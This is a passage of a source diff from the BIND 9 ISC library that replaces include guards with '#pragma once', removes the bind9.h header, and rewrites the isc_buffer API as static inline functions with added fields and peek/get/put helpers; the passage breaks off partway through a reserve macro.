  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_BASE64_H
-#define ISC_BASE64_H 1
+#pragma once
 
 /*! \file isc/base64.h */
 
@@ -95,5 +96,3 @@ isc_base64_tobuffer(isc_lex_t *lexer, isc_buffer_t *target, int length);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_BASE64_H */
diff --git a/lib/isc/include/isc/bind9.h b/lib/isc/include/isc/bind9.h
deleted file mode 100644
index 85c60e7c70..0000000000
--- a/lib/isc/include/isc/bind9.h
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_BIND9_H
-#define ISC_BIND9_H 1
-
-#include <stdbool.h>
-
-#include <isc/platform.h>
-
-/*
- * This determines whether we are using the libisc/libdns libraries
- * in BIND9 or in some other application.  For BIND9 (named and related
- * tools) it must be set to true at runtime.  Export library clients
- * will call isc_lib_register(), which will set it to false.
- */
-LIBISC_EXTERNAL_DATA extern bool isc_bind9;
-
-#endif /* ISC_BIND9_H */
diff --git a/lib/isc/include/isc/buffer.h b/lib/isc/include/isc/buffer.h
index 4072f14432..8a2beac8f1 100644
--- a/lib/isc/include/isc/buffer.h
+++ b/lib/isc/include/isc/buffer.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_BUFFER_H
-#define ISC_BUFFER_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -103,17 +104,16 @@
 #include <stdbool.h>
 
 #include <isc/assertions.h>
+#include <isc/endian.h>
 #include <isc/formatcheck.h>
 #include <isc/lang.h>
-#include <isc/likely.h>
+#include <isc/list.h>
 #include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/region.h>
+#include <isc/string.h>
 #include <isc/types.h>
-
-/*!
- * To make many functions be inline macros (via \#define) define this.
- * If it is undefined, a function will be used.
- */
-/* #define ISC_BUFFER_USEINLINE */
+#include <isc/util.h>
 
 ISC_LANG_BEGINDECLS
 
@@ -130,7 +130,7 @@ ISC_LANG_BEGINDECLS
  * space in a buffer, we round the allocated buffer length up to the
  * nearest * multiple of this value.
  */
-#define ISC_BUFFER_INCR 2048
+#define ISC_BUFFER_INCR 512
 
 /*
  * The following macros MUST be used only on valid buffers.  It is the
@@ -172,7 +172,7 @@ ISC_LANG_BEGINDECLS
 
 struct isc_buffer {
 	unsigned int magic;
-	void *	     base;
+	void	    *base;
 	/*@{*/
 	/*! The following integers are byte offsets from 'base'. */
 	unsigned int length;
@@ -180,21 +180,22 @@ struct isc_buffer {
 	unsigned int current;
 	unsigned int active;
 	/*@}*/
+	/*! The extra bytes allocated for static buffer */
+	unsigned int extra;
+	bool	     dynamic;
 	/*! linkable */
 	ISC_LINK(isc_buffer_t) link;
 	/*! private internal elements */
 	isc_mem_t *mctx;
-	/* automatically realloc buffer at put* */
-	bool autore;
 };
 
 /***
  *** Functions
  ***/
 
-void
-isc_buffer_allocate(isc_mem_t *mctx, isc_buffer_t **dynbuffer,
-		    unsigned int length);
+static inline void
+isc_buffer_allocate(isc_mem_t	      *mctx, isc_buffer_t **restrict dynbuffer,
+		    const unsigned int length);
 /*!<
  * \brief Allocate a dynamic linkable buffer which has "length" bytes in the
  * data region.
@@ -208,29 +209,31 @@ isc_buffer_allocate(isc_mem_t *mctx, isc_buffer_t **dynbuffer,
  *\li	Changing the buffer's length field is not permitted.
  */
 
-isc_result_t
-isc_buffer_reserve(isc_buffer_t **dynbuffer, unsigned int size);
+static inline void
+isc_buffer_setmctx(isc_buffer_t *restrict b, isc_mem_t *mctx);
+static inline void
+isc_buffer_clearmctx(isc_buffer_t *restrict b);
+/*!<
+ * \brief Sets/Clears the internal memory context, so isc_buffer_reserve() can
+ * be used on previously 'static' buffer.
+ */
+
+static inline isc_result_t
+isc_buffer_reserve(isc_buffer_t *restrict dynbuffer, const unsigned int size);
 /*!<
  * \brief Make "size" bytes of space available in the buffer. The buffer
  * pointer may move when you call this function.
  *
  * Requires:
- *\li	"dynbuffer" is not NULL.
- *
- *\li	"*dynbuffer" is a valid dynamic buffer.
+ *\li	"dynbuffer" is a valid dynamic buffer.
  *
  * Returns:
  *\li	ISC_R_SUCCESS		- success
  *\li	ISC_R_NOMEMORY		- no memory available
- *
- * Ensures:
- *\li	"*dynbuffer" will be valid on return and will contain all the
- *	original data. However, the buffer pointer may be moved during
- *	reallocation.
  */
 
-void
-isc_buffer_free(isc_buffer_t **dynbuffer);
+static inline void
+isc_buffer_free(isc_buffer_t **restrict dynbuffer);
 /*!<
  * \brief Release resources allocated for a dynamic buffer.
  *
@@ -245,27 +248,12 @@ isc_buffer_free(isc_buffer_t **dynbuffer);
  *	isc_buffer_allocate().
  */
 
-void
-isc__buffer_init(isc_buffer_t *b, void *base, unsigned int length);
-/*!<
- * \brief Make 'b' refer to the 'length'-byte region starting at base.
- *
- * Requires:
- *
- *\li	'length' > 0
- *
- *\li	'base' is a pointer to a sequence of 'length' bytes.
- *
- */
+static inline void
+isc_buffer_initnull(isc_buffer_t *restrict b);
 
-void
-isc__buffer_initnull(isc_buffer_t *b);
-/*!<
- *\brief Initialize a buffer 'b' with a null data and zero length/
- */
-
-void
-isc_buffer_reinit(isc_buffer_t *b, void *base, unsigned int length);
+static inline void
+isc_buffer_reinit(isc_buffer_t *restrict b, void *base,
+		  const unsigned int length);
 /*!<
  * \brief Make 'b' refer to the 'length'-byte region starting at base.
  * Any existing data will be copied.
@@ -278,788 +266,997 @@ isc_buffer_reinit(isc_buffer_t *b, void *base, unsigned int length);
  *
  */
 
-void
-isc__buffer_invalidate(isc_buffer_t *b);
+static inline void
+isc_buffer_trycompact(isc_buffer_t *restrict b);
+static inline void
+isc_buffer_compact(isc_buffer_t *restrict b);
 /*!<
- * \brief Make 'b' an invalid buffer.
+ * \brief Compact the used region by moving the remaining region so it occurs
+ * at the start of the buffer.  The used region is shrunk by the size of
+ * the consumed region, and the consumed region is then made empty.
  *
  * Requires:
- *\li	'b' is a valid buffer.
+ *
+ *\li	'b' is a valid buffer
  *
  * Ensures:
- *\li	If assertion checking is enabled, future attempts to use 'b' without
- *	calling isc_buffer_init() on it will cause an assertion failure.
- */
-
-void
-isc_buffer_setautorealloc(isc_buffer_t *b, bool enable);
-/*!<
- * \brief Enable or disable autoreallocation on 'b'.
  *
- * Requires:
- *\li	'b' is a valid dynamic buffer (b->mctx != NULL).
+ *\li	current == 0
  *
+ *\li	The size of the used region is now equal to the size of the remaining
+ *	region (as it was before the call).  The contents of the used region
+ *	are those of the remaining region (as it was before the call).
  */
 
-void
-isc__buffer_region(isc_buffer_t *b, isc_region_t *r);
+static inline isc_result_t
+isc_buffer_peekuint8(const isc_buffer_t *restrict b, uint8_t *valp);
+static inline uint8_t
+isc_buffer_getuint8(isc_buffer_t *restrict b);
+static inline void
+isc_buffer_putuint8(isc_buffer_t *restrict b, const uint8_t val);
 /*!<
- * \brief Make 'r' refer to the region of 'b'.
+ * \brief Peek/Read/Write an unsigned 8-bit integer from/to 'b'.
  *
  * Requires:
  *
  *\li	'b' is a valid buffer.
  *
- *\li	'r' points to a region structure.
- */
-
-void
-isc__buffer_usedregion(const isc_buffer_t *b, isc_region_t *r);
-/*!<
- * \brief Make 'r' refer to the used region of 'b'.
+ *\li	The length of the available region of 'b' is at least 1
+ *	or the buffer has autoreallocation enabled.
  *
- * Requires:
+ * Ensures (for Read):
  *
- *\li	'b' is a valid buffer.
+ *\li	The current pointer in 'b' is advanced by 1.
  *
- *\li	'r' points to a region structure.
- */
-
-void
-isc__buffer_availableregion(isc_buffer_t *b, isc_region_t *r);
-/*!<
- * \brief Make 'r' refer to the available region of 'b'.
+ * Ensures (for Write):
  *
- * Requires:
+ *\li	The used pointer in 'b' is advanced by 1.
  *
- *\li	'b' is a valid buffer.
+ * Returns (for Peek and Read):
  *
- *\li	'r' points to a region structure.
+ *\li	A 8-bit unsigned integer. (peek and get)
  */
 
-void
-isc__buffer_add(isc_buffer_t *b, unsigned int n);
+static inline isc_result_t
+isc_buffer_peekuint16(const isc_buffer_t *restrict b, uint16_t *valp);
+static inline uint16_t
+isc_buffer_getuint16(isc_buffer_t *restrict b);
+static inline void
+isc_buffer_putuint16(isc_buffer_t *restrict b, const uint16_t val);
 /*!<
- * \brief Increase the 'used' region of 'b' by 'n' bytes.
+ * \brief Peek/Read/Write an unsigned 16-bit integer in network byte order
+ * from/to 'b', convert it to/from host byte order..
  *
  * Requires:
  *
- *\li	'b' is a valid buffer
+ *\li	'b' is a valid buffer.
  *
- *\li	used + n <= length
+ *\li	The length of the available region of 'b' is at least 2
+ *	or the buffer has autoreallocation enabled.
  *
- */
-
-void
-isc__buffer_subtract(isc_buffer_t *b, unsigned int n);
-/*!<
- * \brief Decrease the 'used' region of 'b' by 'n' bytes.
+ * Ensures (for Read):
  *
- * Requires:
+ *\li	The current pointer in 'b' is advanced by 2.
  *
- *\li	'b' is a valid buffer
+ * Ensures (for Write):
  *
- *\li	used >= n
+ *\li	The used pointer in 'b' is advanced by 2.
  *
+ * Returns (for Peek and Read):
+ *
+ *\li	A 16-bit unsigned integer.
  */
 
-void
-isc__buffer_clear(isc_buffer_t *b);
+static inline isc_result_t
+isc_buffer_peekuint32(const isc_buffer_t *restrict b, uint32_t *restrict valp);
+static inline uint32_t
+isc_buffer_getuint32(isc_buffer_t *restrict b);
+static inline void
+isc_buffer_putuint32(isc_buffer_t *restrict b, uint32_t const val);
 /*!<
- * \brief Make the used region empty.
+ * \brief Peek/Read/Write an unsigned 32-bit integer in network byte order
+ * from/to 'b', convert it to/from host byte order.
  *
  * Requires:
  *
- *\li	'b' is a valid buffer
+ *\li	'b' is a valid buffer.
  *
- * Ensures:
+ *\li	The length of the available region of 'b' is at least 4
+ *	or the buffer has autoreallocation enabled.
  *
- *\li	used = 0
+ * Ensures (for Read):
  *
- */
-
-void
-isc__buffer_consumedregion(isc_buffer_t *b, isc_region_t *r);
-/*!<
- * \brief Make 'r' refer to the consumed region of 'b'.
+ *\li	The current pointer in 'b' is advanced by 4.
  *
- * Requires:
+ * Ensures (for Write):
  *
- *\li	'b' is a valid buffer.
+ *\li	The used pointer in 'b' is advanced by 4.
  *
- *\li	'r' points to a region structure.
+ * Returns (for Peek and Read):
+ *
+ *\li	A 32-bit unsigned integer.
  */
 
-void
-isc__buffer_remainingregion(isc_buffer_t *b, isc_region_t *r);
+static inline isc_result_t
+isc_buffer_peekuint48(const isc_buffer_t *restrict b, uint64_t *valp);
+static inline uint64_t
+isc_buffer_getuint48(isc_buffer_t *restrict b);
+static inline void
+isc_buffer_putuint48(isc_buffer_t *restrict b, const uint64_t val);
 /*!<
- * \brief Make 'r' refer to the remaining region of 'b'.
+ * \brief Peek/Read/Write an unsigned 48-bit integer in network byte order
+ * from/to 'b', convert it to/from host byte order.
  *
  * Requires:
  *
  *\li	'b' is a valid buffer.
  *
- *\li	'r' points to a region structure.
- */
-
-void
-isc__buffer_activeregion(isc_buffer_t *b, isc_region_t *r);
-/*!<
- * \brief Make 'r' refer to the active region of 'b'.
+ *\li	The length of the available region of 'b' is at least 6
+ *	or the buffer has autoreallocation enabled.
  *
- * Requires:
+ * Ensures (for Read):
  *
- *\li	'b' is a valid buffer.
+ *\li	The current pointer in 'b' is advanced by 6.
  *
- *\li	'r' points to a region structure.
- */
-
-void
-isc__buffer_setactive(isc_buffer_t *b, unsigned int n);
-/*!<
- * \brief Sets the end of the active region 'n' bytes after current.
+ * Ensures (for Write):
  *
- * Requires:
+ *\li	The used pointer in 'b' is advanced by 6.
  *
- *\li	'b' is a valid buffer.
+ * Returns (for Peek and Read):
  *
- *\li	current + n <= used
+ *\li	A 48-bit unsigned integer (stored in a 64-bit integer).
  */
 
-void
-isc__buffer_first(isc_buffer_t *b);
+static inline void
+isc_buffer_putmem(isc_buffer_t *restrict b, const unsigned char *restrict base,
+		  const unsigned int length);
 /*!<
- * \brief Make the consumed region empty.
+ * \brief Copy 'length' bytes of memory at 'base' into 'b'.
  *
  * Requires:
+ *\li	'b' is a valid buffer.
  *
- *\li	'b' is a valid buffer
- *
- * Ensures:
+ *\li	'base' points to 'length' bytes of valid memory.
  *
- *\li	current == 0
+ *\li	The length of the available region of 'b' is at least 'length'
+ *	or the buffer has autoreallocation enabled.
  *
+ * Ensures:
+ *\li	The used pointer in 'b' is advanced by 'length'.
  */
 
-void
-isc__buffer_forward(isc_buffer_t *b, unsigned int n);
+static inline isc_result_t
+isc_buffer_copyregion(isc_buffer_t *restrict b, const isc_region_t *restrict r);
 /*!<
- * \brief Increase the 'consumed' region of 'b' by 'n' bytes.
+ * \brief Copy the contents of 'r' into 'b'.
  *
- * Requires:
+ * Notes:
+ *\li	If 'b' has autoreallocation enabled, and the length of 'r' is greater
+ *	than the length of the available region of 'b', 'b' is reallocated.
  *
- *\li	'b' is a valid buffer
+ * Requires:
+ *\li	'b' is a valid buffer.
  *
- *\li	current + n <= used
+ *\li	'r' is a valid region.
  *
+ * Returns:
+ *\li	ISC_R_SUCCESS
+ *\li	ISC_R_NOSPACE			The available region of 'b' is not
+ *					big enough.
  */
 
-void
-isc__buffer_back(isc_buffer_t *b, unsigned int n);
+static inline isc_result_t
+isc_buffer_dup(isc_mem_t *mctx, isc_buffer_t **restrict dstp,
+	       const isc_buffer_t *restrict src);
 /*!<
- * \brief Decrease the 'consumed' region of 'b' by 'n' bytes.
+ * \brief Allocate 'dst' and copy used contents of 'src' into it.
  *
  * Requires:
+ *\li	'dstp' is not NULL and *dst is NULL.
+ *\li	'src' is a valid buffer.
  *
- *\li	'b' is a valid buffer
- *
- *\li	n <= current
- *
+ * Returns:
+ *\li	ISC_R_SUCCESS
  */
 
-void
-isc_buffer_compact(isc_buffer_t *b);
+static inline isc_result_t
+isc_buffer_printf(isc_buffer_t *restrict b, const char *restrict format, ...)
+	ISC_FORMAT_PRINTF(2, 3);
 /*!<
- * \brief Compact the used region by moving the remaining region so it occurs
- * at the start of the buffer.  The used region is shrunk by the size of
- * the consumed region, and the consumed region is then made empty.
- *
- * Requires:
- *
- *\li	'b' is a valid buffer
+ * \brief Append a formatted string to the used region of 'b'.
  *
- * Ensures:
+ * Notes:
  *
- *\li	current == 0
+ *\li	The 'format' argument is a printf(3) string, with additional arguments
+ *	as necessary.
  *
- *\li	The size of the used region is now equal to the size of the remaining
- *	region (as it was before the call).  The contents of the used region
- *	are those of the remaining region (as it was before the call).
- */
-
-uint8_t
-isc_buffer_getuint8(isc_buffer_t *b);
-/*!<
- * \brief Read an unsigned 8-bit integer from 'b' and return it.
+ *\li	If 'b' has autoreallocation enabled, and the length of the formatted
+ *	string is greater than the length of the available region of 'b', 'b'
+ *	is reallocated.
  *
  * Requires:
  *
  *\li	'b' is a valid buffer.
  *
- *\li	The length of the remaining region of 'b' is at least 1.
- *
  * Ensures:
  *
- *\li	The current pointer in 'b' is advanced by 1.
+ *\li	The used pointer in 'b' is advanced by the number of bytes appended
+ *	(excluding the terminating NULL byte).
  *
  * Returns:
  *
- *\li	A 8-bit unsigned integer.
+ *\li	#ISC_R_SUCCESS	Operation succeeded.
+ *\li	#ISC_R_NOSPACE	'b' does not allow reallocation and appending the
+ *			formatted string to it would cause it to overflow.
+ *\li	#ISC_R_NOMEMORY	Reallocation failed.
+ *\li	#ISC_R_FAILURE	Other error occurred.
  */
 
-void
-isc__buffer_putuint8(isc_buffer_t *b, uint8_t val);
-/*!<
- * \brief Store an unsigned 8-bit integer from 'val' into 'b'.
+/*
+ * Buffer functions implemented as inline.
+ */
+
+/*! \note
+ * XXXDCL Something more could be done with initializing buffers that
+ * point to const data.  For example, isc_buffer_constinit() could
+ * set a new boolean flag in the buffer structure indicating whether
+ * the buffer was initialized with that function.  Then if the
+ * boolean were true, the isc_buffer_put* functions could assert a
+ * contractual requirement for a non-const buffer.
+ *
+ * One drawback is that the isc_buffer_* functions that return
+ * pointers would still need to return non-const pointers to avoid compiler
+ * warnings, so it would be up to code that uses them to have to deal
+ * with the possibility that the buffer was initialized as const --
+ * a problem that they *already* have to deal with but have absolutely
+ * no ability to.  With a new isc_buffer_isconst() function returning
+ * true/false, they could at least assert a contractual requirement for
+ * non-const buffers when needed.
+ */
+
+/*!
+ * \brief Make 'b' refer to the 'length'-byte region starting at 'base'.
  *
  * Requires:
- *\li	'b' is a valid buffer.
  *
- *\li	The length of the available region of 'b' is at least 1
- *	or the buffer has autoreallocation enabled.
+ *\li	'length' > 0
  *
- * Ensures:
- *\li	The used pointer in 'b' is advanced by 1.
+ *\li	'base' is a pointer to a sequence of 'length' bytes.
  */
+static inline void
+isc_buffer_init(isc_buffer_t *restrict b, void *base,
+		const unsigned int length) {
+	REQUIRE(b != NULL);
+
+	*b = (isc_buffer_t){
+		.base = base,
+		.length = length,
+		.link = ISC_LINK_INITIALIZER,
+		.magic = ISC_BUFFER_MAGIC,
+	};
+}
 
-uint16_t
-isc_buffer_getuint16(isc_buffer_t *b);
-/*!<
- * \brief Read an unsigned 16-bit integer in network byte order from 'b',
- * convert it to host byte order, and return it.
+/*!
+ *\brief Initialize a buffer 'b' with a null data field and zero length.
+ * This can later be grown as needed and swapped in place.
+ */
+static inline void
+isc_buffer_initnull(isc_buffer_t *restrict b) {
+	*b = (isc_buffer_t){
+		.link = ISC_LINK_INITIALIZER,
+		.magic = ISC_BUFFER_MAGIC,
+	};
+}
+
+/*!
+ * \brief Make 'b' refer to the 'length'-byte constant region starting
+ * at 'base'.
  *
  * Requires:
  *
- *\li	'b' is a valid buffer.
+ *\li	'length' > 0
+ *\li	'base' is a pointer to a sequence of 'length' bytes.
+ */
+#define isc_buffer_constinit(_b, _d, _l)                    \
+	do {                                                \
+		union {                                     \
+			void	   *_var;                   \
+			const void *_const;                 \
+		} _deconst;                                 \
+		_deconst._const = (_d);                     \
+		isc_buffer_init((_b), _deconst._var, (_l)); \
+	} while (0)
+
+/*!
+ * \brief Make 'b' an invalid buffer.
  *
- *\li	The length of the remaining region of 'b' is at least 2.
+ * Requires:
+ *\li	'b' is a valid buffer.
  *
  * Ensures:
+ *\li	Future attempts to use 'b' without calling isc_buffer_init() on
+ *	it will cause an assertion failure.
+ */
+static inline void
+isc_buffer_invalidate(isc_buffer_t *restrict b) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(!ISC_LINK_LINKED(b, link));
+	REQUIRE(b->mctx == NULL);
+
+	*b = (isc_buffer_t){
+		.magic = 0,
+	};
+}
+
+/*!
+ * \brief Make 'r' refer to the region of 'b'.
  *
- *\li	The current pointer in 'b' is advanced by 2.
+ * Requires:
  *
- * Returns:
+ *\li	'b' is a valid buffer.
  *
- *\li	A 16-bit unsigned integer.
+ *\li	'r' points to a region structure.
  */
+static inline void
+isc_buffer_region(isc_buffer_t *restrict b, isc_region_t *restrict r) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(r != NULL);
 
-void
-isc__buffer_putuint16(isc_buffer_t *b, uint16_t val);
-/*!<
- * \brief Store an unsigned 16-bit integer in host byte order from 'val'
- * into 'b' in network byte order.
+	r->base = b->base;
+	r->length = b->length;
+}
+
+/*!
+ * \brief Make 'r' refer to the used region of 'b'.
  *
  * Requires:
- *\li	'b' is a valid buffer.
  *
- *\li	The length of the available region of 'b' is at least 2
- *	or the buffer has autoreallocation enabled.
+ *\li	'b' is a valid buffer.
  *
- * Ensures:
- *\li	The used pointer in 'b' is advanced by 2.
+ *\li	'r' points to a region structure.
  */
+static inline void
+isc_buffer_usedregion(const isc_buffer_t *restrict b,
+		      isc_region_t *restrict r) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(r != NULL);
 
-uint32_t
-isc_buffer_getuint32(isc_buffer_t *b);
-/*!<
- * \brief Read an unsigned 32-bit integer in network byte order from 'b',
- * convert it to host byte order, and return it.
+	r->base = b->base;
+	r->length = b->used;
+}
+
+/*!
+ * \brief Make 'r' refer to the available region of 'b'.
  *
  * Requires:
  *
  *\li	'b' is a valid buffer.
  *
- *\li	The length of the remaining region of 'b' is at least 4.
- *
- * Ensures:
+ *\li	'r' points to a region structure.
+ */
+static inline void
+isc_buffer_availableregion(isc_buffer_t *restrict b, isc_region_t *restrict r) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(r != NULL);
+
+	r->base = isc_buffer_used(b);
+	r->length = isc_buffer_availablelength(b);
+}
+
+/*!
+ * \brief Increase the 'used' region of 'b' by 'n' bytes.
  *
- *\li	The current pointer in 'b' is advanced by 4.
+ * Requires:
  *
- * Returns:
+ *\li	'b' is a valid buffer
  *
- *\li	A 32-bit unsigned integer.
+ *\li	used + n <= length
  */
+static inline void
+isc_buffer_add(isc_buffer_t *restrict b, const unsigned int n) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(b->used + n <= b->length);
 
-void
-isc__buffer_putuint32(isc_buffer_t *b, uint32_t val);
-/*!<
- * \brief Store an unsigned 32-bit integer in host byte order from 'val'
- * into 'b' in network byte order.
+	b->used += n;
+}
+
+/*!
+ * \brief Decrease the 'used' region of 'b' by 'n' bytes.
  *
  * Requires:
- *\li	'b' is a valid buffer.
  *
- *\li	The length of the available region of 'b' is at least 4
- *	or the buffer has autoreallocation enabled.
+ *\li	'b' is a valid buffer
  *
- * Ensures:
- *\li	The used pointer in 'b' is advanced by 4.
+ *\li	used >= n
  */
+static inline void
+isc_buffer_subtract(isc_buffer_t *restrict b, const unsigned int n) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(b->used >= n);
+
+	b->used -= n;
+	if (b->current > b->used) {
+		b->current = b->used;
+	}
+	if (b->active > b->used) {
+		b->active = b->used;
+	}
+}
 
-uint64_t
-isc_buffer_getuint48(isc_buffer_t *b);
 /*!<
- * \brief Read an unsigned 48-bit integer in network byte order from 'b',
- * convert it to host byte order, and return it.
+ * \brief Make the used region empty.
  *
  * Requires:
  *
- *\li	'b' is a valid buffer.
- *
- *\li	The length of the remaining region of 'b' is at least 6.
+ *\li	'b' is a valid buffer
  *
  * Ensures:
  *
- *\li	The current pointer in 'b' is advanced by 6.
- *
- * Returns:
- *
- *\li	A 48-bit unsigned integer (stored in a 64-bit integer).
+ *\li	used = 0
  */
+static inline void
+isc_buffer_clear(isc_buffer_t *restrict b) {
+	REQUIRE(ISC_BUFFER_VALID(b));
 
-void
-isc__buffer_putuint48(isc_buffer_t *b, uint64_t val);
-/*!<
- * \brief Store an unsigned 48-bit integer in host byte order from 'val'
- * into 'b' in network byte order.
+	b->used = 0;
+	b->current = 0;
+	b->active = 0;
+}
+
+/*!
+ * \brief Make 'r' refer to the consumed region of 'b'.
  *
  * Requires:
- *\li	'b' is a valid buffer.
  *
- *\li	The length of the available region of 'b' is at least 6
- *	or the buffer has autoreallocation enabled.
+ *\li	'b' is a valid buffer.
  *
- * Ensures:
- *\li	The used pointer in 'b' is advanced by 6.
+ *\li	'r' points to a region structure.
  */
+static inline void
+isc_buffer_consumedregion(isc_buffer_t *restrict b, isc_region_t *restrict r) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(r != NULL);
 
-void
-isc__buffer_putuint24(isc_buffer_t *b, uint32_t val);
-/*!<
- * Store an unsigned 24-bit integer in host byte order from 'val'
- * into 'b' in network byte order.
+	r->base = b->base;
+	r->length = b->current;
+}
+
+/*!
+ * \brief Make 'r' refer to the remaining region of 'b'.
  *
  * Requires:
- *\li	'b' is a valid buffer.
  *
- *\li	The length of the available region of 'b' is at least 3
- *	or the buffer has autoreallocation enabled.
+ *\li	'b' is a valid buffer.
  *
- * Ensures:
- *\li	The used pointer in 'b' is advanced by 3.
+ *\li	'r' points to a region structure.
  */
+static inline void
+isc_buffer_remainingregion(isc_buffer_t *restrict b, isc_region_t *restrict r) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(r != NULL);
 
-void
-isc__buffer_putmem(isc_buffer_t *b, const unsigned char *base,
-		   unsigned int length);
-/*!<
- * \brief Copy 'length' bytes of memory at 'base' into 'b'.
+	r->base = isc_buffer_current(b);
+	r->length = isc_buffer_remaininglength(b);
+}
+
+/*!
+ * \brief Make 'r' refer to the active region of 'b'.
  *
  * Requires:
- *\li	'b' is a valid buffer.
  *
- *\li	'base' points to 'length' bytes of valid memory.
- *
- *\li	The length of the available region of 'b' is at least 'length'
- *	or the buffer has autoreallocation enabled.
+ *\li	'b' is a valid buffer.
  *
- * Ensures:
- *\li	The used pointer in 'b' is advanced by 'length'.
+ *\li	'r' points to a region structure.
  */
+static inline void
+isc_buffer_activeregion(isc_buffer_t *restrict b, isc_region_t *restrict r) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(r != NULL);
+
+	if (b->current < b->active) {
+		r->base = isc_buffer_current(b);
+		r->length = isc_buffer_activelength(b);
+	} else {
+		r->base = NULL;
+		r->length = 0;
+	}
+}
 
-void
-isc__buffer_putstr(isc_buffer_t *b, const char *source);
-/*!<
- * \brief Copy 'source' into 'b', not including terminating NUL.
+/*!
+ * \brief Sets the end of the active region 'n' bytes after current.
  *
  * Requires:
- *\li	'b' is a valid buffer.
- *
- *\li	'source' is a valid NULL terminated string.
  *
- *\li	The length of the available region of 'b' is at least strlen('source')
- *	or the buffer has autoreallocation enabled.
+ *\li	'b' is a valid buffer.
  *
- * Ensures:
- *\li	The used pointer in 'b' is advanced by strlen('source').
+ *\li	current + n <= used
  */
+static inline void
+isc_buffer_setactive(isc_buffer_t *restrict b, const unsigned int n) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(b->current + n <= b->used);
+
+	b->active = b->current + n;
+}
 
-void
-isc_buffer_putdecint(isc_buffer_t *b, int64_t v);
 /*!<
- * \brief Put decimal representation of 'v' in b
+ * \brief Make the consumed region empty.
  *
  * Requires:
- *\li	'b' is a valid buffer.
  *
- *\li	The length of the available region of 'b' is at least strlen(dec('v'))
- *	or the buffer has autoreallocation enabled.
+ *\li	'b' is a valid buffer
  *
  * Ensures:
- *\li	The used pointer in 'b' is advanced by strlen(dec('v')).
+ *
+ *\li	current == 0
  */
+static inline void
+isc_buffer_first(isc_buffer_t *restrict b) {
+	REQUIRE(ISC_BUFFER_VALID(b));
 
-isc_result_t
-isc_buffer_copyregion(isc_buffer_t *b, const isc_region_t *r);
-/*!<
- * \brief Copy the contents of 'r' into 'b'.
- *
- * Notes:
- *\li	If 'b' has autoreallocation enabled, and the length of 'r' is greater
- *	than the length of the available region of 'b', 'b' is reallocated.
+	b->current = 0;
+}
+
+/*!
+ * \brief Increase the 'consumed' region of 'b' by 'n' bytes.
  *
  * Requires:
- *\li	'b' is a valid buffer.
  *
- *\li	'r' is a valid region.
+ *\li	'b' is a valid buffer
  *
- * Returns:
- *\li	ISC_R_SUCCESS
- *\li	ISC_R_NOSPACE			The available region of 'b' is not
- *					big enough.
+ *\li	current + n <= used
  */
+static inline void
+isc_buffer_forward(isc_buffer_t *restrict b, const unsigned int n) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(b->current + n <= b->used);
 
-isc_result_t
-isc_buffer_dup(isc_mem_t *mctx, isc_buffer_t **dstp, const isc_buffer_t *src);
-/*!<
- * \brief Allocate 'dst' and copy used contents of 'src' into it.
+	b->current += n;
+}
+
+/*!
+ * \brief Decrease the 'consumed' region of 'b' by 'n' bytes.
  *
  * Requires:
- *\li	'dstp' is not NULL and *dst is NULL.
- *\li	'src' is a valid buffer.
  *
- * Returns:
- *\li	ISC_R_SUCCESS
+ *\li	'b' is a valid buffer
+ *
+ *\li	n <= current
  */
+static inline void
+isc_buffer_back(isc_buffer_t *restrict b, const unsigned int n) {
+	REQUIRE(ISC_BUFFER_VALID(b));
+	REQUIRE(n <= b->current);
+
+	b->current -= n;
+}
+
+#define ISC_BUFFER_PEEK_CHECK(b, s)                 \
+	{                                           \
+		REQUIRE(ISC_BUFFER_VALID(b));       \
+		if ((b)->used - (b)->current < s) { \
+			return (ISC_R_NOMORE);      \
+		}                                   \
+	}
+
+static inline isc_result_t
+isc_buffer_peekuint8(const isc_buffer_t *restrict b, uint8_t *valp) {
+	ISC_BUFFER_PEEK_CHECK(b, sizeof(*valp));
+
+	uint8_t *cp = isc_buffer_current(b);
+	SET_IF_NOT_NULL(valp, (uint8_t)(cp[0]));
+	return (ISC_R_SUCCESS);
+}
+
+static inline uint8_t
+isc_buffer_getuint8(isc_buffer_t *restrict b) {
+	uint8_t	     val = 0;
+	isc_result_t result = isc_buffer_peekuint8(b, &val);
+	ENSURE(result == ISC_R_SUCCESS);
+	b->current += sizeof(val);
+	return (val);
+}
+
+#define ISC_BUFFER_PUT_RESERVE(b, v)                                           \
+	{                                                                      \
+		REQUIRE(ISC_BUFFER_VALID(b));                                  \
+                                                                               \
+		if (b->mctx) {                                                 \
+			isc_result_t result = isc_buffer_reserve(b,            \
+								 sizeof(val)); \
+			ENSURE(result == ISC_R_SUCCESS);                       \
+		}                                                              \
+                                                                               \
